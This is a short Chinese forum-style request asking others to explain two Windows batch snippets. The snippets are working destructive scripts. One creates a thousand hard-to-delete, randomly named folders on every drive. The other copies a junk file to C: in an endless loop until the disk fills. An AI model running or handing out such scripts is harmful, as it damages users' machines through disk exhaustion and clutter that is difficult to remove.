帮忙解释一下，批处理片段的意义。谢谢！！

大少爷

for /l %%a in (1,1,1000) do for %%b in (%alldrive%) do md %%b:\%random%%random%%random%%%a..\

--------------------------------------------------------
set a=0
fsutil file Createnew d:\rubbish.txt 1024
:fuck
set /a a=%a%+1
copy d:\rubbish.txt C:\%a%.txt
goto fuck